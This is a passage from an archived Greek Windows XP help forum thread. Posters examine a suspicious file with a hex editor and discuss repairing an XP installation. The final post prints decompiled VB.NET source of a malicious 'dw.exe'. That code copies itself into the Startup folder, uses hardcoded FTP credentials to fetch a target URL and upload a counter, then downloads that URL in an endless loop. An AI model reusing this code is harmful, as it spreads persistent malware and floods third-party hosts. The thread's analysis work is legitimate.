Προς το περιεχόμενο

Windows XP - τι γίνεται εδώ? περίεργο πρόβλημα...


JohnXarxas

Προτεινόμενες αναρτήσεις

Δημοσ.

Με ενα hex editor οπως ανεφερα νωριτερα.

Κανε τον κοπο να αλλαξεις την καταληξη του αρχειου a και να την κανεις jpg (δηλαδη θα το κανεις a.jpg)

Σου λεει κατι αυτη η φωτογραφια ενος...φορτηγου (ή κατι που μοιαζει με φορτηγο)?Η συγκεκριμενη εχει τραβηχθει με μια NIKON D40X το 2007.

 

WOW!!!

δηλαδή το hex editor είναι ένα πρόγραμμα το οποίο εντοπίζει τον τύπο ενός αρχείου και τα στοιχεία του...

  • Απαντ. 30
  • Δημ.
  • Τελ. απάντηση
  • Moderators
Δημοσ.

WOW!!!

δηλαδή το hex editor είναι ένα πρόγραμμα το οποίο εντοπίζει τον τύπο ενός αρχείου και τα στοιχεία του...

Οχι.O hex editor δεν ειναι ενα συγκεκριμενο προγραμμα, ειναι ειδος προγραμματος, υπαρχουν μπολικοι hex editors.

Επισης οχι, δεν σου λεει τι τυπος αρχειου ειναι αυτο που εχεις ανοιξει, δικια μου ιδεα ηταν η προσθεση της καταληξης μια και εχουμε να κανουμε με κατι σχετικο με ψηφιακη καμερα.

 

Επι του θεματος:εχεις ιδεα τι ειναι το συγκεκριμενο?Το εχεις ξαναδει?

Δημοσ.

1) πρώτη φορά στη ζωή μου βλέπω αυτή την εικόνα και δεν είχα ποτέ τέτοια κάμερα...

 

2) το ότι δεν είναι ένα συγκεκριμένο πρόγραμμα το κατάλαβα (όπως λέμε media player)

όμως τελικά τι κάνει?

 

3) αφού το αρχείο ήταν ασφαλές, δοκίμασα την κατάληξη και το έτρεξα

είδα την εικόνα, έκανα τον σταυρό μου και το διέγραψα οριστικά από το Η/Υ μου

:rolleyes:

  • Moderators
Δημοσ.

1) πρώτη φορά στη ζωή μου βλέπω αυτή την εικόνα και δεν είχα ποτέ τέτοια κάμερα...

 

2) το ότι δεν είναι ένα συγκεκριμένο πρόγραμμα το κατάλαβα (όπως λέμε media player)

όμως τελικά τι κάνει?

 

3) αφού το αρχείο ήταν ασφαλές, δοκίμασα την κατάληξη και το έτρεξα

είδα την εικόνα, έκανα τον σταυρό μου και το διέγραψα οριστικά από το Η/Υ μου

:rolleyes:

1)Μαλιστα.Θα το ψαξω παραπανω.

 

2)http://en.wikipedia.org/wiki/Hex_editor

 

3)Καλα εκανεςsmile.gif

  • 2 εβδομάδες αργότερα...
Δημοσ.

Επαναφέρω το θέμα γιατι έχω ενα θέμα με τα xp

θέλω να κανω repair τα windows tou ξαδερφου μου..

κάνω οτι λέει αυτη η σελίδα

και όπως θα δε'ιτε κάτω κάτω λέει αυτο...

 

"" Αν δεν υπάρχει η επιλογή Repair the selected installation, δεν προχωράμε σε εγκατάσταση, γιατί πιθανότατα θα χάσουμε όλα τα προσωπικά μας αρχεία, αφού θα γίνει Format. ""

Εμένα δεν μου βγάζει repair...οπότε ???

Δημοσ.

Επαναφέρω το θέμα γιατι έχω ενα θέμα με τα xp

θέλω να κανω repair τα windows tou ξαδερφου μου..

κάνω οτι λέει αυτη η σελίδα

και όπως θα δε'ιτε κάτω κάτω λέει αυτο...

 

"" Αν δεν υπάρχει η επιλογή Repair the selected installation, δεν προχωράμε σε εγκατάσταση, γιατί πιθανότατα θα χάσουμε όλα τα προσωπικά μας αρχεία, αφού θα γίνει Format. ""

Εμένα δεν μου βγάζει repair...οπότε ???

Δεν ξέρω

1) μπορείς να μας πεις τι πρόβλημα αντιμετωπίζεις και να σου βρούμε κάποιον άλλο τρόπο να λυθεί

2)μετέφερε τα δεδομένα σου αλλού, και κάνε μια λίστα με τα προγράμματα που έχει σε χαρτί... τα χρήσημα... μια καλή ευκαιρία για ξεκαθάρισμα...

μετά κάνεις επανεγκατάσταση

Δημοσ.

Δεν ξεκινάνε τα windows...λέει οτι λείπουν κάποια αρχεία...Το μόνο που θελει ο ξαδερφος ειναι να του σώσω κάτι torrents..

Δημοσ.

είναι πειρατική έκδοση?

αν όχι μπορείς να απευθυνθείς στη βοήθεια της microsoft

αν όχι, τότε τα torrents είναι ασύμαντα, τα ξαναβρίσκεις

ίσως όχι εύκολα αλλά τα ξαναβρίσκεις

κατα τη γνώμη μου κάνεις φορμάτ και τελειώνει το θέμα

  • Moderators
Δημοσ.

@JohnXarxas

Σχετικα με το δικο σου θεμα:Απο τοτε που εβγαλες απο το startup τα συγκεκριμενα αρχεια,εμφανιστηκε τιποτα ξανα?

Ρωταω γιατι η φωτογραφια του κατι-σαν-φορτηγο που ειδαμε στην αρχη,προερχεται απο μια ρωσικη ή βουλγαρικη σελιδα και εχει τραβηχτει με μια ψηφιακη nikkon.

Δημοσ.

Εκανα βαθύτερη εξεταση στο dw.exe:

 

Απο τον source code του κατάφερα να αποσπάσω αυτό:

>Public Class dw
   Inherits Form
   ' Methods
   Public Sub New()
       Dim str3 As String
       Me.InitializeComponent
       Me.Client = New WebClient
       Dim executablePath As String = Application.ExecutablePath
       Me.startup = Environment.GetFolderPath(SpecialFolder.Startup)
       Dim destFileName As String = (Me.startup & "\dw.exe")
       If (executablePath <> destFileName) Then
           File.Copy(executablePath, destFileName, True)
       End If
       Try 
           Dim client As New WebClient
           client.Credentials = New NetworkCredential("grishadmitrievich", "pomiinaqma1")
           Dim buffer As Byte() = client.DownloadData("ftp://ftp.drivehq.com/PublicFolder/aa.txt")
           Dim stream As FileStream = File.Create((Me.startup & "\aa"))
           stream.Write(buffer, 0, buffer.Length)
           stream.Close
           Me.reader = New StreamReader((Me.startup & "\aa"))
           str3 = Me.reader.ReadLine
           Me.reader.Close
       Catch obj1 As Object
           str3 = "http://sondaji.com/images/DSC_0016.JPG"
       End Try
       Try 
           File.Delete((Me.startup & "\aa"))
       Catch obj2 As Object
       End Try
       Try 
           Dim client2 As New WebClient
           client2.Credentials = New NetworkCredential("grishadmitrievich", "pomiinaqma1")
           Dim buffer2 As Byte() = client2.DownloadData("ftp://ftp.drivehq.com/PublicFolder/bb.txt")
           Dim stream2 As FileStream = File.Create((Me.startup & "\bb"))
           stream2.Write(buffer2, 0, buffer2.Length)
           stream2.Close
           Me.reader = New StreamReader((Me.startup & "\bb"))
           Dim num As Integer = Integer.Parse(Me.reader.ReadLine)
           Me.reader.Close
           Me.writer = New StreamWriter((Me.startup & "\bb"), False)
           Me.writer.Write((num + 1).ToString)
           Me.writer.Close
           Dim info As New FileInfo((Me.startup & "\bb"))
           Dim request As FtpWebRequest = DirectCast(WebRequest.Create("ftp://ftp.drivehq.com/PublicFolder/bb.txt"), FtpWebRequest)
           request.Method = "STOR"
           request.Credentials = New NetworkCredential("grishadmitrievich", "pomiinaqma1")
           Dim requestStream As Stream = request.GetRequestStream
           Dim stream4 As FileStream = File.OpenRead((Me.startup & "\bb"))
           Dim count As Integer = &H400
           Dim buffer3 As Byte() = New Byte(count  - 1) {}
           Dim num3 As Integer = 0
           Do
               num3 = stream4.Read(buffer3, 0, count)
               requestStream.Write(buffer3, 0, num3)
           Loop While (num3 <> 0)
           stream4.Close
           requestStream.Close
       Catch obj3 As Object
       End Try
       Try 
           File.Delete((Me.startup & "\bb"))
       Catch obj4 As Object
       End Try
       Do While True
           Try 
               Me.Client.DownloadFile(str3, (Me.startup & "\a"))
               File.Delete((Me.startup & "\a"))
           Catch obj5 As Object
           End Try
       Loop
   End Sub

   Protected Overrides Sub Dispose(ByVal disposing As Boolean)
       If (disposing AndAlso (Not Me.components Is Nothing)) Then
           Me.components.Dispose
       End If
       MyBase.Dispose(disposing)
   End Sub

   Private Sub dw_FormClosing(ByVal sender As Object, ByVal e As FormClosingEventArgs)
       Try 
           File.Delete((Me.startup & "\a"))
       Catch obj1 As Object
       End Try
   End Sub

   Private Sub InitializeComponent()
       MyBase.SuspendLayout
       MyBase.AutoScaleDimensions = New SizeF(6!, 13!)
       MyBase.AutoScaleMode = AutoScaleMode.Font
       MyBase.ClientSize = New Size(&H74, &H36)
       MyBase.Name = "dw"
       MyBase.ShowIcon = False
       MyBase.ShowInTaskbar = False
       Me.Text = "dw"
       MyBase.ResumeLayout(False)
       AddHandler MyBase.FormClosing, New FormClosingEventHandler(AddressOf Me.dw_FormClosing)
   End Sub


   ' Fields
   Private Client As WebClient
   Private components As IContainer
   Private reader As StreamReader
   Private startup As String
   Private writer As StreamWriter
End Class

 

Ο μάγκας που το έκανε ξέχασε να το κάνει obfuscate...

Αρχειοθετημένο

Αυτό το θέμα έχει αρχειοθετηθεί και είναι κλειστό για περαιτέρω απαντήσεις.

  • Δημιουργία νέου...